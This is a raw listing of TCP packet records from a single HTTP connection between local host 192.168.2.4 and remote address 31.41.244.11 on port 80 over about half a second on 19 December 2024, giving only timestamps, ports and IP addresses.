Dec 19, 2024 20:11:22.261713982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.262505054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.262554884 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.262715101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.262773991 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.263530016 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.263580084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.264602900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.264615059 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.264647961 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.264659882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.264744043 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.264787912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.265697956 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.266143084 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.266197920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.266769886 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.266838074 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.266927958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.267046928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.268289089 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.268301010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.268347979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.269336939 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.269350052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.269390106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.270051003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.270098925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.270374060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.270421028 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.271181107 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.271236897 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.271545887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.271595955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.272283077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.272334099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.273082972 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.273133993 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.273370981 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.273382902 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.273420095 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.274379015 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.274434090 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.275229931 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.275278091 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.275537014 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.275548935 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.275590897 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.276608944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.276662111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.276873112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.276921034 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.277678013 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.277734995 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.277950048 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.277995110 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.278759003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.278810978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.278860092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.279048920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.280406952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.280455112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.280549049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.280596972 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.280957937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.281006098 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.281321049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.281378031 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.282058001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.282069921 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.282123089 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.283147097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.283210039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.284203053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.284255028 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.284296036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.284339905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.285334110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.285346985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.285402060 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.285562038 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.285630941 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.286528111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.286577940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.286959887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.287102938 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.287503004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.287554979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.288647890 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.288661003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.288703918 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.288784981 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.288841009 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.289701939 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.289757967 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.289822102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.289865971 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.290816069 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.290859938 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.291028023 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.291081905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.291987896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.292059898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.292105913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.293021917 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.293075085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.293335915 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.293380022 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.294034004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.294118881 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.294153929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.294246912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.295264959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.295277119 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.295325994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.295341015 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.336911917 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.337188959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.337236881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.337290049 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.337322950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.337359905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.337371111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.338350058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.338406086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.338445902 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.339143038 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.339376926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.339438915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.340672016 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.340730906 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.590892076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.590970039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.591012001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.591061115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.593417883 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.593467951 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.595984936 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.596061945 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.710892916 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.710957050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.710968971 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.710994005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.711007118 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.711110115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.711196899 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.711240053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.711251020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.711252928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.711286068 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.711288929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.711319923 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.711350918 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.712001085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.712037086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.712071896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.712097883 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.712119102 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.712765932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.712800026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.712831974 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.712848902 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.712857962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.712955952 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.713483095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.713520050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.713532925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.713557005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.713560104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.713594913 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.713601112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.713665962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.714263916 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.714299917 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.714312077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.714337111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.714350939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.714392900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.714993954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715029001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715044975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.715065002 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715070009 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.715105057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.715780020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715814114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715838909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.715848923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715859890 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.715917110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.715922117 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.715966940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.716731071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.716768026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.716801882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.716833115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.716869116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.717248917 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.717284918 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.717298031 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.717320919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.717344046 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.717372894 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.718034029 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.718069077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.718091011 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.718102932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.718107939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.718139887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.718173981 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.718190908 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.719022036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.719058037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.719077110 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.719093084 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.719101906 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.719136953 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.719598055 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.719634056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.719651937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.719679117 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.720313072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.720360041 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.720362902 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.720408916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.720818996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.720854998 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.720869064 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.720942974 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.721575022 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.721609116 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.721616983 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.721654892 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.722348928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.722384930 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.722400904 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.722418070 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.722420931 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.722456932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.722470999 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.722546101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.723037004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.723073006 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.723098040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.723107100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.723114014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.723155022 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.723781109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.723817110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.723850965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.723869085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.723892927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.724548101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.724585056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.724618912 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.724622011 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.724637985 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.724656105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.724678040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.724709988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.725357056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.725398064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.725410938 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.725411892 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.725430012 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.725452900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.726039886 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.726077080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.726090908 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.726110935 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.726130962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.726150036 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.726907969 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.726942062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.726957083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.726996899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.727565050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.727601051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.727650881 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.728324890 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.728359938 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.728373051 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.728400946 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.728507042 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.728554010 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.729055882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.729105949 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.729892015 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.729942083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.730578899 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.730686903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.730740070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.731368065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.731457949 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.731462002 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.731498957 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.731518984 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.731537104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.732085943 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.732121944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.732132912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.732170105 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.732220888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.732268095 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.732888937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.732974052 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.732991934 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.733027935 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.733035088 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.733076096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.733695030 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.733745098 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.733758926 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.733779907 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.734512091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.734549046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.734565020 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.734584093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.734592915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.734792948 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.735126972 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.735162973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.735178947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.735196114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.735198021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.735249996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.737679005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.737729073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.738149881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.738207102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.738208055 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.738243103 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.738248110 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.738281012 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.739022017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.739056110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.739075899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.739092112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.739094019 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.739134073 CET	49794	80	192.168.2.4	31.41.244.11
